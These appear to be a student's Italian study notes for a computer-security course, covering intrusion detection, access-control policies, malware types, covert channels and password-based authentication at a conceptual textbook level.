Audit:è usata in 2 accezioni diverse: Analisi delle procedure e delle pratiche adottate per valutare i rischi creati da queste azioni, Analisi degli eventi per determinare violazioni alla sicurezza o tentativi di violazioni. Due metodi di utilizzo degli ids**: Anomaly detection**:determinare statisticamente modelli di comportamento normale e segnalare eventuali deviazioni significative (conoscenza a posteriori). **problemi** : Scelta delle metriche (cosa misurare), Scelta dei threshold (soglia dàllarme) e delle funzioni per evitare falsi positivi e negativi • Scelta dei modelli di base: cosa succede se l'attacco compare solo in variabili che non sono state modellate? • Segnalazione di tipo statistico che va interpretata da un esperto umano. **Misuse detection**: confrontare gli eventi con schemi predefiniti di attacchi (conoscenza a priori). **Problemi:** Necessità di gestire una base di conoscenza degli attacchi • Problemi di aggiornamento (solo gli attacchi conosciuti vengono segnalati) e di ingegnerizzazione delle segnature • Problema del polimorfismo negli attacchi – ADMutate, encoding UTF • Problema di sequenzialità. **Classificazione ids**: Host-based **(HIDS):** opera su una singola macchina, visibilità migliore dei comportamenti di una applicazione in esecuzione sulla macchina. Network-based (**NIDS**): controlla il traffico di rete (singolo NIDS può proteggere diverse macchine). **Anomaly vs misuse**: Uso non intrusivo Uso intrusivo. **Falsi negativi** Non-anomalo ma attività intrusiva sembra attività normale. **Falsi positivi** Non-intrusivo ma attività anomala non sembra attività normale.**Falsi positivi**: attività non intrusiva ma anomala – le politiche di sicurezza non sono violate – causa interruzioni non necessarie – causa insoddisfazioni negli utenti**. Falsi negativi**: attività non anomala ma intrusiva – le politiche di sicurezza sono violate– intrusione non rilevata

Strict policy: write:Y(s)>=Y(o)
Read:Y(o)>=Y(s)
LWM x oggetti: read Y(o)>=Y(s)
write Y(o)=glb(Y(s),Y(o)
LWM x soggetti: write Y(s)>=Y(o)
read Y(s)=glb(Y(s),Y(o)

Sicurezza Garantire sicurezza significa proteggere i dati e le risorse garantendo • Segretezza (Confidenzialità) L'informazione può essere rilasciata – direttamente o indirettamente – solo a utenti autorizzati a conoscerla. Privacy: diritto di un individuo di stabilire se, come, quando e a chi l'informazione che lo riguarda può essere rilasciata. • Integrità Le informazioni (e le risorse) non devono essere modificate, cancellate o distrutte in modo non autorizzato o *improprio*. • Disponibilità (Availability –no *denials-of-service*) Non deve essere impedito agli utenti gli accessi propri e per i quali hanno la autorizzazione necessaria.

Vulnerabilità, Minacce, Difese • Vulnerabilità Debolezza del sistema che potrebbe permettere violazioni alla sicurezza (dipendenza da una sola sorgente di energia; personale poco competente; protezione della rete inadeguata) • Minaccia Circostanza o evento che potrebbe causare violazioni alla sicurezza (Intrusori; Utenti interni; Malware (malicious software)) • Difesa (contromisura) Tecnica, procedura o altra misura che *riduce la vulnerabilità* (Autenticazione; Controllo degli accessi; Backup)

Applicazione della Sicurezza Non esiste sicurezza in senso assoluto, le misure di sicurezza possono ridurre le possibilità che una violazione avvenga e i danni che una violazione può portare. La sicurezza ha un costo per qnt riguarda: • Acquisto, applicazione e gestione di misure aggiuntive • Aumento del carico del sistema --> diminuzione delle prestazioni La mancanza di misure di sicurezza ha un costo (può essere compromesso il funzionamento del sistema). Ci vuole una politica di gestione atta a garantire un bilanciamento tra le misure di sicurezza adottate e il valore delle risorse da proteggere ed il danno che una violazione a questi porterebbe

Controlli di Sicurezza • Sicurezza fisica (Allarmi anti-incendio, tesserine magnetiche) • Sicurezza organizzativa: Procedure per la corretta amministrazione delle autorizzazioni e degli accessi. • Sicurezza logica: Controllo dell'accesso alle risorse da parte di utenti che sono correttamente "entrati nel sistema"

Tipologia dei Crimini Informatici • Non dolosi: disastri naturali, errori hardware e software, errori umani • Dolosi: crimini intenzionali commessi da (1) utenti legittimi che abusano delle proprie autorizzazioni o (2) utenti illegittimi attraverso: sabotaggio, intrusione, sostituzione di identità, intercettazioni, codice malizioso.

Sabotaggio • Qualsiasi iniziativa o azione di disturbo o di danneggiamento intesa a ostacolare il normale funzionamento del sistema.: sabotaggio fisico: ha come obiettivo il danneggiamento fisico; sabotaggio logico: ha come obiettivo la modifica o distruzione dell'informazione con il solo scopo di sabotare il normale funzionamento del sistema; sabotaggio psicologico: ha come obiettivo il logoramento psicologico dell'utente

Intrusione • Fisica: è un metodo per guadagnare l'accesso fisico ad aree controllate e tipicamente viene usata per sabotaggi di tipo fisico da parte di persone che non sono autorizzate ad accedere all'area ove risiedono le attrezzature • Logica: ha luogo in un sistema dove l'identità degli utenti è verificata automaticamente dal sistema e da questa derivano tutti i crimini riguardanti l'alterazione di informazione

Sostituzione di Identità • Riguarda l'utente di un sistema che assume l'identità di un altro. Quando l'intruso è all'interno del sistema, ha la possibilità di commettere qualsiasi tipo di crimine

Intercettazioni = Riguarda i messaggi trasmessi sui sistemi di comunicazione; l'intruso può agire come un utente attivo per modificare l'informazione intercettata oppure può agire come un utente passivo che si limita a registrare le informazioni intercettate. Le intercettazioni possono, ad esempio, sfruttare l'effetto Van Eck (emanazione di onde elettromagnetiche dalle apparecchiature) grazie al quale è possibile ricostruire le immagini che compaiono su un video di un terminale

Malicious Code = Software di qualsiasi tipo che riesce a penetrare nel sistema e ad aggirare i controlli che sono stati realizzati (bombe logiche,cavalli di troia ,virus)

Bomba Logica = È un programma (o una parte di programma) che viene eseguito al verificarsi di condizioni prestabilite che a sua volta determina condizioni o stati che facilitano la perpetrazione di un atto non autorizzato. La bomba logica è il programma contenente la condizione che, se verificata, farà esplodere la bomba ovvero farà partire l'altro programma che altererà lo stato del sistema

Trojan Horse = Programma con una funzione nota utile ma che contiene codice nascosto che esegue funzioni (non legittime) ad insaputa del soggetto chiamante. Il principale obiettivo è la lettura o l'alterazione di informazione

Virus: Caratteristiche = È un programma in grado di infettare altri programmi modificandoli in modo che contengano una copia del virus stesso; ogni programma infetto agisce a sua volta come un virus e in questo modo avviene il contagio e la sua diffusione. Un virus in genere si compone di (1) una parte di codice che svolge la funzione di duplicazione (si riconoscono le sezioni per l'installazione del virus nella memoria e per la copiatura del virus sul disco o per l'agganciamento a altro codice eseguibile che possa essere infettato) (2) una parte di danneggiamento che è composto da una sezione di verifica di una condizione e da una sezione che realizza le azioni per cui è stato creato. **Classificazione** 1)Transiente: la vita del virus dipende da quella del programma che lo ospita (il virus è in esecuzione quando il programma è in esecuzione e termina quando il programma che lo ospita termina) 2)Residente: il virus è in memoria e rimane attivo o può essere attivato come programma stand-alone. Tipo di codice: - Cavallo di Troia = Contiene funzionalità inaspettate - Bomba logica = Manda in esecuzione programmi al verificarsi di certe condizioni - Trapdoor = Permette accessi non autorizzati alle funzionalità del sistema - Worm = Propaga copie di se stesso attraverso la rete con lo scopo di saturare le reti di trasmissione – Rabbit = Replica se stesso con lo scopo di saturare le risorse del sistema. Un virus racchiude in se tutte le caratteristiche di questi tipi di codici (non è vero il viceversa)

Il Processo di Infezione = Un virus inizia il lavoro per cui è stato creato solo quando viene mandato in esecuzione, ci sono diversi modi per fare in modo che un programma venga eseguito (esempio tramite i programmi di SETUP). Un tipico esempio di come un virus può essere attivato è come allegato di un messaggio di email e l'apertura automatica dell'allegato da parte del client di posta

Virus Sovrapposti e Non Sovrapposti = Un virus si attacca esternamente ad un programma oppure internamente ad esso. Se si posiziona esternamente al programma, generalmente la dimensione del programma cambia facilitando così la sua individuazione (virus non sovrapposti); il caso tipico è quando il virus inserisce una copia di se stesso all'inizio del programma eseguibile oppure un'alternativa è un virus che manda in esecuzione il programma originale ma che prende il controllo prima e dopo l'esecuzione del programma stesso. Se invece il virus si posiziona internamente al programma, sovrapponendosi al codice, prende il nome di virus sovrapposto e rende il programma contaminato inutilizzabile

Come un Virus Ottiene il Controllo = V virus e T il target. V può assumere il nome di T andando a sostituire il codice di T e V cambia il puntatore nella tabella dei file affinché il nuovo valore del puntatore corrisponda alla posizione del virus. **Che Caratteristiche deve Avere un Virus =** Deve essere difficile da individuare e nn deve essere facilmente cancellato o deattivato; si deve diffondere rapidamente; deve essere in grado di infettare nuovamente il programma che lo ospita o altri programmi; deve essere facile da creare e deve essere indipendente dal sistema operativo

Esecuzione One-Time = la maggior parte dei virus vengono eseguiti una sola volta e la sua esecuzione provoca l'infezione e la diffusione dell'infezione; un virus spesso arriva come allegato email e viene eseguito a seguito dell'apertura dell'allegato

Boot Sector = Il boot sector è un punto critico sfruttabile dai malintenzionati per eseguire codice maligno e prendere il controllo del sistema. Esistono alcuni virus (Boot sector/Master Boot Record infector virus) che infettano i settori di sistema presenti nella struttura di dischi removibili e dischi rigidi. Questi tipi di virus lavorano a basso livello, vengono caricati in memoria durante il processo di bootstrap, prima che il sistema operativo si trovi in memoria, e usano i servizi del BIOS per infettare i settori di dischetti e dischi rigidi. Quando un computer viene avviato, il firmware determina i componenti hardware presenti, li testa e trasferisce il controllo al sistema operativo. Il sistema operativo viene copiato dal disco alla memoria e il controllo viene trasferito dal firmware al sistema operativo (bootstrap); il passaggio di controllo realizzato dal firmware viene effettuato leggendo un numero fisso di byte da una locazione fissa sul disco (boot sector), trasferendo i byte così letti ad un indirizzo fisso di memoria; viene poi trasferito il controllo all'indirizzo di memoria fissato che contiene le prime istruzione del bootstrap loader, a cui viene riservata una una grande quantità di spazio per permettere cambiamenti e espansioni. Il bootstrap loader poi legge da disco e porta in memoria la parte restante del sistema operativo. Il boot sector è leggerment inferiore a 512 byte ma poiché il loader è più grande, si usa un meccanismo di chaining in base al quale ogni blocco termina con un puntatore al blocco successivo grazie a questo meccanismo è possibile l'utilizzo di loader di grandi dimensioni ma viene semplificata l'installazione di Virus: infatti è sufficiente rompere la catena in un punto qualsiasi inserendo un puntatore al virus per poi ricollegare la catena dopo che il virus è stato installato. In questo modo il virus prende il controllo della macchina prima che molti antivirus vengano attivati

Programmi Applicativi = Spesso molti programmi applicativi offrono la possibilità di specificare delle macro. Questi programmi forniscono anche delle "startup macro" che vengono lanciate in esecuzione ogni volta che il programma viene eseguito ed è quindi possibile sfruttare questa funzionalità inserendo un virus nelle startup macro. Il virus può anche inserire una copia di se stesso nei file dati così che l'infezione colpisca chiunque riceva i file infettati; tali virus posso trovarsi anke nelle librerie.

Firma dei Virus = Un virus non può essere completamente invisibile; infatti il codice deve essere memorizzato da qualche parte, il codice deve trovarsi in memoria per poter essere eseguito e funziona in un determinato modo usando certi metodi per diffondersi. Ognuna di queste caratteristiche produce una signature che può essere trovata dai programmi che la conoscono, ovvero i cosidetti virus scanner che automaticamente trovano e, a volte, eliminano i virus

Signature: Pattern di Memorizzazione = Molti virus si attaccano a programmi memorizzati su dei media devices, Il virus attaccato è invariante così che l'inizio del codice del virus diventa una signature rintracciabile. Il virus si trova sempre nella stessa posizione relativa al file in cui si è attaccato e nei casi più semplici il virus si trova all'inizio e viene eseguito prima che il codice del programma a cui si è attaccato venga eseguito; in altri casi l'infezione può consistere solo di un certo insieme di istruzioni poste all'inizio del programma infettato che passano poi il controllo ad un modulo separato (tramite istruzioni di jump). Il virus scanner può così usare un codice o checksum per scoprire il virus (pattern sospetti possono quindi essere un'istruzione di jump come prima istruzione di un programma) **Pattern di Esecuzione =** un virus è potenzialmente in grado di fare più cose contemporaneamente: diffonde l'infezione, adotta tecniche per evitare di essere individuato e provoca danni. Sfortunatamente molti di questi comportamenti sono normali e possono pertanto passare inosservati (es. uno degli obiettivi di un virus può essere la modifica della file directory: questo però avviene ogni volta che un qualsiasi programma che crea file, cancella file e scrive su disco). Non ci sono limiti a ciò che un virus può provocare: non provoca danni, fa apparire un messaggio sullo schermo, provoca dei beep, cancella file, o l'intero disco ....

Virus Polimorfici = La signature dei virus è uno delle caratteristiche più affidabili che un virus scanner può sfruttare per individuare un virus; se un virus inizia sempre con la stringa esadecimale 47F0F00E08 e la stringa 00113FFF è posizionata in corrispondenza della parola 12, è poco probabile che un ulteriore programma o file dati abbia queste stesse caratteristiche. Più la signatura è lunga, maggiore è la probabilità che la presenza di un matching indichi la presenza del virus. Se il virus scanner è realizzato per cercare sempre e solo queste stringhe, chi crea un virus può fare in modo che in determinate posizioni si trovino stringhe di volta in volta diverse. Per es. se un virus può iniziare con due parole alternative ma equivalenti (dopo che è stato installato il virus scegli una di queste due parole come parola iniziale), il virus scanner dovrà cercare i due pattern. Questo tipo di virus è detto polimorfo. Il creatore quindi può fare in modo che il virus assuma un grande numero (o illimitato) di forme per evitare che possa essere individuato; non è sufficiente inserire una stringa casuale in una determinata posizione del codice perché la signature del virus può sempre essere determinata prendendo in considerazione la parte costante di codice meno la parte variabile; un virus polimorfo infatti deve riposizionare in modo casuale le parti che lo compongono e e casualmente cambiare tutti i dati fissi

Il codice del Virus = Poiché può essere di piccole dimensioni, il suo codice può essere nascosto all'interno di programmi di grosse dimensioni. Si potrebbe quindi pensare di individuare un virus utilizzando una procedura che determini se due programmi sono equivalenti. Il problema generale di stabilire se due programmi sono equivalenti non è decidibile, due programmi infatti possono generare risultati leggermente diversi che possono o non possono essere indice di infezione (es. uno usa un file temporaneo come spazio lavoro mentre l'altro esegue tutte le computazioni in memoria)
Trapdoor = È un punto di ingresso ad un modulo/programma che non è documentato; le trapdoor sono inserite durante la fase di scrittura del codice per testare il modulo e per eventualmente permettere un accesso se il modulo non dovesse funzionare. Tuttavia oltre agli usiti leciti, le trapdoor possono essere utilizzate dai programmatori per accedere al programma una volta che questo è stato attivato **Esempi di Trapdoor: Il Testing =** La fase di testing di sistemi complessi sfrutta l'organizzazione in moduli del sistema: ciascun modulo viene dapprima testato separatamente (unit testing) e poi per assicurarsi che i componenti lavorino correttamente, si creano gruppi di moduli che vengono testati insieme (integration test). Il testing viene effettuato creando dei programmi (stub) che simulano il comportamento di altri moduli e che hanno come obiettivo quello di immetere dei dati o di estrarre dei dati da altri moduli. Al termine della fase di testing, questi stub vengono cancellati perché sono sostituiti dai componenti di cui simulano il comportamento. Se non è chiara la causa di un problema, nel codice si inseriscono dei comandi addizionali che vengono usati per visualizzare i risultati intermedi, cambiare, durante l'esecuzione di un modulo, il valore di determinati parametri, etc.. Se questi comandi non vengono eliminati possono creare problemi perché sono sequenze di comandi non documentate che provocano dei side effect. **Esempi di Trapdoor: Controllo Errori =** Un nono preciso controllo degli errori può favorire i trapdoor. In caso di mancanza di controlli, un valore di input inaspettato può essere usato per scopi illeciti (si pensi, ad esempio, all'SQL injection). Ogni valore di input di un programma dovrebbe essere controllato per verificare che ricada tra i valori ammissibili.
Cause della presenza di Trapdoor = Non vengono eliminati per dimenticanza o vengono intenzionalmente lasciati nei programmi per testing o per la loro manutenzione; oppure in un caso illecito possono essere usati come canali nascosti di accesso ai programmi stessi. Si osservi che in genere le trapdoor rappresentano delle vulnerabilità quando espongono il sistema a modifiche durante il suo funzionamento
Salami Attack = I programmi spesso trascurano piccole somme di denaro durante le varie operazioni di calcolo. Queste piccolissime somme sono estratte da ogni computazione e accumulate da qualche altra parte (p.es., il conto corrente bancario del programmatore). Le somme sono talmente piccole che prese singolarmente passano inosservate e possono comunque essere sottratte di modo che il bilancio complessivo rimanga immutato. **Perché i Salami Attack Esistono Ancora =** Le computazione sono notoriamente soggette a piccoli errori che coinvolgono operazioni di arrotondamento e troncamento, specialmente quando numeri grandi vengono combinati con piccoli numeri. Piuttosto che documentare l'errore, i programmatori e gli utenti trovano più semplice accettare piccoli errori come fatti naturali e inevitabili. Per risolvere eventuali problemi, i programmatori includono delle correzioni durante le computazioni tuttavia un'analisi non adeguata di queste correzioni può essere causa di un salami attack.
I Canali Coperti = Consideriamo ora il caso di programmi che comunicano delle informazioni a persone che non dovrebbero ricevere tali informazioni. Questi sono canali di comunicazione improri, noti come covert channel, si accompagnano ad altri canali di comunicazione che sono del tutto legittimi. Supponiamo che un esame consista in un insieme di domande a risposta chiusa e che si debba scegliere la risposta tra quattro possibili alternative: a, b, c, d e supponiamo che Alice decida di aiutare Bob a superare l'esame: stabiliscono che se la risposta ad una domanda è la a, Alice deve tossire una volta; se la risposta giusta è la b allora Alice deve sospirare e così via **Come un programmatore può creare un covert channel.** Un prog che ha accesso diretto ai dati può leggerli e scriverli in un altro file o stamparli, se non ha però un accesso diretto ai dati (p.es., è esterno all'organizzazione che fornisce i dati) deve cercare di trovare il modo per arrivare ai dati stessi. Un modo per accedere ai dati è sfruttare un cavallo di troia
Overview Canali Coperti = Un programmatore non dovrebbe aver accesso ai dati confidenziali che un programma elabora dopo che il programma è stato reso operativo (il programmatore di una banca non ha la necessità di accedere ai nomi dei correntisti o al bilancio dei loro conti correnti). Durante la fase di testing, l'accesso a dati reali è giustificato, ma non dovrebbe essere possibile dopo che il programma è stato accettato per un uso regolare. Tuttavia tale programma pruo essere stato sviluppato per comunicare segretamente al programmatore alcuni dati; il programmatore diventa quindi una spia e l'utente è chiunque esegua il programma scritto dal programmatore
Come Creare Canali Coperti = Eseguire programmi che producono in output uno specifico report o che visualizzano un dato valore è una tecnica troppo ovvia. Il programmatore può codificare il valore dei dati all'interno di un innocuo report variando, ad esempio, il formato dell'output, cambiando la lunghezza delle linee o stampando (o non stampando) certi valori (cambiare la parola total in totals è un tipo di cambiamento che può passare inosservato ma che crea un canale coperto di 1 bit)
Storage Channel = Sono canali coperti che sfruttano la presenza o l'assenza di oggetti in memoria. Un semplice esempio è il canale detto file lock che, in un sistema multiutente, garantisce che un utente alla volta sia in grado di accedere al file, per evitare che due o più utenti eseguano delle modifiche contemporaneamente sullo stesso file. Un canale nascosto può segnalare un bit di informazione sfruttando il fatto che un file può essere bloccato (locked) oppure no .**Esempio di Storage Channel: Quota disco =** Un programma di servizio segnala un 1 creando un file di grosse dimensioni che consuma la maggior parte dello spazio libero su disco, il programma spia tenta poi di creare un file di grosse dimensioni: se l'operazione di creazione ha esito positivo allora si può affermare che il programma di servizio voleva segnalare uno 0; altrimenti un 1. **Esempio di Storage Channel: Esistenza di File =** L'esistenza di un file (o altra risorsa) con un dato nome può essere sfruttata per segnalare informazione; anche solo la conoscenza dell'esistenza di tale file è sufficiente per l'eventuale spia. La spia può verificare l'esistenza di un file che non può leggere semplicemente provando a creare un file con lo stesso nome: se il file esiste, la richiesta di creazione viene rifiutata e così viene segnalato 1; se il file non esiste, la richiesta di creazione viene accet-

tata e viene segnalato 0. **Esempio di Storage Channel: Server di ID Unici** **A**lcuni sistemi hanno un server che distribuisce "numeri" che sono usati come nome di file temporanei, per etichettare messaggi e così via; due processi che cooperano possono utilizzare il server per inviare un segnale: il processo della spia controlla se i numeri che riceve sono sequenziali o se manca un numero; un numero mancante indica che il programma di servizio ha richiesto un numero segnalando così un 1.**Esempio di Storage Channel: Riassunto =** il programma di servizio quindi e quello della spia devono poter accedere a risorse condivise (file o anche sapere della presenza di un file) e devono avere una nozione di tempo condivisa. Questi due aspetti sono comuni in ambienti multiutente e sebbene il trasferimento di un bit di informazione alla volta può sembrare estremamente lento, non bisogna dimenticare che i sistemi operano ad una tale velocità che, il trasferimento di un bit/ms passerebbe inosservato e sarebbe facilmente gestibile da due processi

Timing Channel = Altri tipi di canali coperti detti timing channel sfruttano invece la velocità con cui accadono certi eventi all'interno del sistema. Un programma di servizio può usare un canale di questo tipo usando o non usando il tempo di computazione ad esso assegnato. Nel caso più semplice, in un sistema multiprogrammato con due processi, il tempo di computazione è suddiviso in blocchi che vengono alternativamente assegnati ai due processi. Tuttavia quando ad un processo gli viene offerto tempo di computazione, come abbiamo detto il processo può scegliere di nn usufrutirne (es., se non deve svolgere nessuna computazione o se sta aspettando il verificarsi di altri eventi) e il processo di servizio può quindi decidere di usare il blocco assegnato (segnalando così un 1) oppure può anche lui rifiutarlo (segnalando così uno 0)

Interazioni con altri Processi = In un sistema multiutente sono però presenti più di due processi attivi contemporaneamente; pertanto due processi che vogliono cooperare devono sincronizzarzi ed eventualmente affrontare le eventuali interferenze create dagli altri processi (es. nel caso di canale nascosto che sfrutta il server che rilascia gli ID, ci possono essere anche altri processi che richiedono dei numeri e con una media di n processi che richiedono m numeri ciascuno, il programma di servizio deve richiedere più di n*m numeri per segnalare un 1 e nessun numero per segnalare uno 0

Identificazione di Potenziali Covert Channel = I covert channel sfruttano elementi ordinari come l'esistenza stessa di file o del tempo usato per le computazioni, rendendo difficile l'individuazionde dei covert channel. Tuttavia esistono 2 tecniche che costituiscono ancora lo standard di localizzazione di potenziali covert channel: una tecnica si basa sull'analisi delle risorse del sistema e una tecnica lavora a livello di codice sorgente **Matrice delle Risorse Condivise =** Poiché la base di ogni covert channel sono le risorse condivise, la ricerca di potenziali covert channel consiste nel trovare tutte le risorse condivise e determinare quali processi possono scrivere su e leggere da una risorsa. Questa tecnica del 1983 è stata introdotta da Kemmer e può essere automatizzata Si costruisce una matrice M che ha tante righe quante sono le risorse e tante colonne quanti sono i processi. Ogni "casella" è definita come M[i,j] che può assumere valore R se il processo j può leggere o osservare la risorsa i, mentre può assumere valore M se il processo j può modificare, creare, cancellare la risorsa i. • Il pattern indicato mostra due risorse e due processi tali che il secondo processo non è autorizzato a leggere la seconda risorsa; il primo processo può però passare delle informazioni al secondo processo leggendo la seconda risorsa e segnalando le informazioni lette tramite la prima risorsa. Si completa la matrice con il flusso potenziale di informazione e la si analizza per verificare se ci sono dei flussi di informazione indesiderabili

Analisi del Flusso di Informazione = Denning nel 1976 ha proposto una tecnica per l'analisi del flusso di informazione che prende in considerazione la sintassi di un programma, utilizzando questa tecnica si possono scoprire dei flussi di informazione non ovvi tra le istruzioni di un programma (es. l'istruzione B := A ovviamente effettua un flusso di informazione da A a B (flusso esplicito) • B := A; C := B indica un flusso di informazione da A a C • IF D=1 THEN B:=A ha due flussi: da A a B ma anche da D a B perché il valore di B può cambiare se e solo se il valore di D è 1 (flusso implicito) • B:=fcn(args) permette un flusso di informazione dalla funzione fcn a B: - a livello superficiale c'è un flusso di informazione potenziale da args a B; - la funzione può però essere analizzata più in dettaglio per determinare se tutti i suoi argomenti e alcune variabili globali che non fanno parte degli argomenti della funzione influenzano la funzione; - questi flussi di informazione possono essere analizzati partendo dal basso, da funzioni che non chiamano altre funzioni, le si analizzano e si usano i risultati per analizzare le altre funzioni che le chiamano e così via

Servizi di Sicurezza. - Identificazione e Autenticazione =Fornisce al sistema la abilità di identificare gli utenti e verificarne l'identità. - Controllo dell'accesso valuta le richieste di accesso alle risorse fatte da utenti autenticati e, sulla base di regole definite, determina se permettere o negare l'accesso; di solito controlla solo gli accessi diretti ma può essere arricchito con controlli di flusso, inferenza e non-interferenza. - Audit permette una valutazione a posteriori delle richieste e degli accessi avvenuti per determinare se ci sono state (o sono state tentate) violazioni. - Crittografia assicura che i dati memorizzati nel sistema o spediti lungo la rete possano essere decifrati solo dal legittimo ricevente. Nella comunicazione su rete può anche essere utilizzata per stabilire l'autenticità delle informazioni trasmesse o delle parti coinvolte.

Autenticazione = Stabilisce l'identità di una "parte" ad una altra "parte". Le parti possono essere utenti o computer. Spesso la richiesta di autenticazione è bidirezionale come nella comunicazione peer-to-peer. L'autenticazione di un computer ad un utente permette di prevenire attacchi di spoofing in cui un computer pretende di essere un altro computer per acquisire la password degli utenti. Spesso per migliorarne l'effcienza è necessaria la combinazione di autenticazione "utente-a-computer" e "computer-a-computer"; per molti aspetti è il servizio di sicurezza primario infatti la correttezza del controllo degli accessi e la correttezza del controllo delle intrusioni degli accessi si basano entrambe su una corretta autenticazione.

Autenticazione e Crittografia = L'autenticazione può fare uso di misure crittografiche. Distinguiamo crittografia a: chiave privata (o simmetrica) in cui la stessa chiave è utilizzata per crittare e decrittare e a chiave pubblica (o asimmetrica)che utilizza una coppia di chiavi ("pubblica,privata"): una per crittare e l'altra per decrittare.

L'Autenticazione Utente a Computer si basa su qualcosa che l'utente conosce (password), che l'utente possiede (tesserina magnetica), che l'utente è, stabilito sulla base di caratteristiche biometriche (impronte digitali, impronta della voce) o una combinazione di queste.

Autenticazione Basata su Password = si basa sulla coppia: login: l'utente si identifica e password: l'utente fornisce prova della sua identità. Costituisce il metodo di autenticazione più antico e più diffuso (e lo sarà ancora nel breve futuro). semplice , economico, di facile implementabilità, è anche il più debole a causa della **vulnerabilità delle Password s**pesso infatti le password possono: essere facilmente indovinate (guessing) e osservate da persone che osservano l'utente legittimo mentre la scrive (snooping), acquisite da terze parti nella comunicazione lungo la rete (sniffed) oppure acquisite da terze parti che impersonano l'interfaccia di login (spoofing). Chiunque riesca a conoscere la password di un utente può impersonare (masquerading) l'utente nell'accesso al sistema. Le password sono vulnerabili perché sono in genere composte da pochi bit di informazione e diverse strategie possono essere adottate per cercare di determinare le password: - provare tutte le password; - provare molte password probabili; - provare password che sono probabili per l'utente; - cercare nel sistema la lista delle password; - chiedere all'utente.
Attacco Esaustivo = Con un attacco esaustivo (brute force attack), l'attaccante prova in modo sistematico tutte le possibili password e il numero di password dipende dal particolare sistema • Per esempio, se le password possono essere parole che contengono solo i 26 caratteri A-Z e hanno una lunghezza che varia da 1 a 8 il numero di possibili password è: 26^1 + 26^2 + . . . + 26^8 = 5 * 10^12 • Riuscendo a provare una password per millisecondo, ci vorrebbero circa 150 anni mentre riuscendo a provare una password per microsecondo, ci vorrebbero circa 2 mesi. La ricerca di una password non richiede però necessariamente una analisi esaustiva di tutte le password e c'è anke il fatto ke le password scelte in genere tendono ad essere brevi anche per tenerle meglio a mente.
Password Probabili = Chi vuole "rompere" un sistema di autenticazione basato su password sfrutta il fatto che, ad esempio, le persone in genere preferiscono password corte rispetto a password lunghe e pertanto proveranno le possibili password in ordine di lunghezza. Password composte da 5 caratteri possono essere ad esempio verificate in circa 3.5 ore (supponendo che sia possibile controllare una password ogni millisecondo). Questo è vero se si assume che le password abbiano una distribuzione uniforme (non è vero nella realtà) **Password Probabili per un Utente =** La password che un utente sceglie molto spesso è legata a qualche cosa che ha un particolare significato per l'utente stesso (nome del marito/moglie, sorella/fratello, figlio/figlia, e così via)
Scelte di un Attaccante = nessuna password, password uguale allo user ID, password derivata dal nome dell'utente, liste di parole comuni e nomi o pattern comuni, lista di parole inglesi comuni, attacco esaustivo
Password Memorizzate in Chiaro = per validare una password, il sistema deve avere il modo di confrontare la password inserita dall'utente con l'effettiva password. Invece di provare ad indovinare la password, un attaccante potrebbe cercare di ottenere l'accesso al file delle password. È quindi buona norma proteggere il file delle password con, ad esempio, meccanismi per il controllo dell'accesso anke se nn è sufficiente perché non necessariamente tutti i moduli del sistema operativo hanno la necessità di accedere al file delle password (una falla in un modulo qualsiasi è quindi sufficiente)
Password Memorizzate in Forma Crittata = Per proteggere il file delle password si potrebbe pensare di crittare il suo contenuto (l'intero file oppure solo la colonna relativa alle password). Quando l'utente inserisce la propria password, il sistema decritta quella memorizzate ed effettua un confronto tra le due: la password dell'utente è presente per qualche istante in chiaro in memoria e alternativamente si può crittare la password che
l'utente ha inserito e confrontarla con quella crittata e memorizzata nel file delle password. In questo caso la funzione crittografica deve essere tale per cui due password diverse devono essere crittate in due valori diversi. Se due utenti (Alice e Bob) scelgono la medesima password, nel file delle password ci sono due entrate identiche e questo permetterebbe ad Alice e Bob di conoscere l'uno la password dell'altro. Per evitare queste situazioni i sistemi Unix-based usano un "sale" (salt), cioè un numero di 12 bit unico per ciascun utente e memorizzato in chiaro, formato dal numero di processo e dal tempo di sistema. Il valore crittato che viene così memorizzato nel file delle password è ottenuto crittando il valore ottenuto dalla concatenazione della password con il sale
Cause di Vulnerabilità delle Password = Il primo passo per limitare la vulnerabilità delle password è una buona gestione delle password. Infatti la causa è da attribuire spersso agli utenti che non cambiano la password per molto tempo, condividono la password con colleghi o amici, scelgono password "deboli" perchè facili da ricordare (e.g., nome o date di nascita di parenti o animali domestici), usano la stessa password su più computer oppure scrivono le password su pezzi di carta per essere sicuri di non dimenticarla.
Scelta delle Password = Una buona gestione invece richiede che gli utenti cambino spesso la propria password, mantengano le loro password private, scelgano password che non siano facili da indovinare. Una buona password dovrebbe essere di almeno 8 caratteri e utilizzare un insieme di caratteri abbastanza largo (sia caratteri alfanumerici sia caratteri speciali); non dovrebbe essere facilmente intuibile e non corrispondere a parole di dizionari (o leggere variazioni di queste). Infine deve essere facile da ricordare, altrimenti gli utenti la scrivono aumentandone la vulnerabilità oppure la dimenticano ottenendo un denial-of-service in fase di autenticazione.
Controlli su Password = Molti sistemi utilizzano controlli automatici per evitare grosse debolezze nelle password.: restrizioni su lunghezza e sul minimo numero di caratteri, richiedendo combinazione di caratteri numerici o alfanumerici;.controllo rispetto a dizionari e rifiuto di parole del linguaggio naturale (per prevenire dictionary attacks); massimo tempo di validità di password (gli utenti sono obbligati a cambiare la password quando "scade"); mantenimento della storia recente delle password; mantenimento di tempo minimo di validità
In alternativa invece la password può essere scelta dal sistema; tuttavia nn costituisce sempre un sistema ben accetto (password difficili da ricordare) e si pone inoltre il problema di distribuzione delle password. o infine utilizzo di sequenze one-time-password (spesso gli utenti le scrivono per ricordarsele).
Distribuzione Iniziale di Password = L'utente si reca fisicamemte dall'amministratore e si autentica tramite metodi tradizionali (es., carta di identità). L'amministratore prepara l'account e l'utente digita la password: scomodità per l'utente e pericolo

per il sistema dato che l'utente accede al sistema in modalità superuser, mentre l'amministratore non guarda. • L'amministratore prepara l'account con una password iniziale e la comunica allùtente che dovrà cambiarla al primo utilizzo (pre-expired password): la password potrebbe essere abbastanza forte (e.g., scelta casualmente). oppure spesso molto debole per convenienza (es., matricola studente).

Autenticazione Basata su Possesso = Basata su possesso da parte degli utenti di token (oggetto della dimensione di una carta di credito) in cui è memorizzata una chiave crittografica, che può essere utilizzata per dimostrare l'identità del token a un computer. I token sono più sicuri delle password, infatti mantenendo controllo sul token l'utente mantiene controllo sull'utilizzo della sua identità

